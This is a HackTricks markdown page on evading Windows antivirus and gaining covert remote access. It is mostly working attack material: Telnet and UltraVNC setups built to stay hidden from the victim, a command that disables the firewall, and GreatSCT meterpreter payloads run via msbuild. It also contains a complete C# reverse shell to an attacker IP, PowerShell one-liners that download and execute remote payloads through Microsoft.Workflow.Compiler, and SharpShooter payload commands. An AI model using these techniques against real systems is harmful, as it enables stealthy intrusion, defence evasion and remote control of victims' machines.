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hacktricks/windows-hardening/av-bypass.md
carlospolop c8dc8536b9 hacktricks twitch
2022-12-05 23:29:21 +01:00

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Telnet Server

Until Windows10, all Windows came with a Telnet server that you could install (as administrator) doing:

pkgmgr /iu:"TelnetServer" /quiet

Make it start when the system is started and run it now:

sc config TlntSVR start= auto obj= localsystem

Change telnet port (stealth) and disable firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Download it from: http://www.uvnc.com/downloads/ultravnc.html (you want the bin downloads, not the setup)

ON THE HOST: Execute winvnc.exe and configure the server:

  • Enable the option Disable TrayIcon
  • Set a password in VNC Password
  • Set a password in View-Only Password

Then, move the binary winvnc.exe and newly created file UltraVNC.ini inside the victim

Reverse connection

The attacker should execute inside his host the binary vncviewer.exe -listen 5900 so it will be prepared to catch a reverse VNC connection. Then, inside the victim: Start the winvnc daemon winvnc.exe -run and run winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

WARNING: To maintain stealth you must not do a few things

  • Don't start winvnc if it's already running or you'll trigger a popup. check if it's running with tasklist | findstr winvnc
  • Don't start winvnc without UltraVNC.ini in the same directory or it will cause the config window to open
  • Don't run winvnc -h for help or you'll trigger a popup

GreatSCT

Download it from: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Inside GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Now start the lister with msfconsole -r file.rc and execute the xml payload with:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Current defender will terminate the process very fast.

Compiling our own reverse shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

First C# Revershell

Compile it with:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Use it with:

back.exe <ATTACKER_IP> <PORT>

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
	public class Program
	{
		static StreamWriter streamWriter;

		public static void Main(string[] args)
		{
			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
			{
				using(Stream stream = client.GetStream())
				{
					using(StreamReader rdr = new StreamReader(stream))
					{
						streamWriter = new StreamWriter(stream);
						
						StringBuilder strInput = new StringBuilder();

						Process p = new Process();
						p.StartInfo.FileName = "cmd.exe";
						p.StartInfo.CreateNoWindow = true;
						p.StartInfo.UseShellExecute = false;
						p.StartInfo.RedirectStandardOutput = true;
						p.StartInfo.RedirectStandardInput = true;
						p.StartInfo.RedirectStandardError = true;
						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
						p.Start();
						p.BeginOutputReadLine();

						while(true)
						{
							strInput.Append(rdr.ReadLine());
							//strInput.Append("\n");
							p.StandardInput.WriteLine(strInput);
							strInput.Remove(0, strInput.Length);
						}
					}
				}
			}
		}

		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamWriter.WriteLine(strOutput);
                    streamWriter.Flush();
                }
                catch (Exception err) { }
            }
        }

	}
}

https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs

C# using compiler

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Automatic download and execution:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

{% embed url="https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f" %}

C# obfuscators list: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp

Merlin, Empire, Puppy, SalsaTools https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/

https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf

https://github.com/l0ss/Grouper2

{% embed url="http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html" %}

{% embed url="http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/" %}

Other tools

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless: 
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload: 
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut: 
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

More

{% embed url="https://github.com/EgeBalci/sgn" %}

{% embed url="https://github.com/persianhydra/Xeexe-TopAntivirusEvasion" %}

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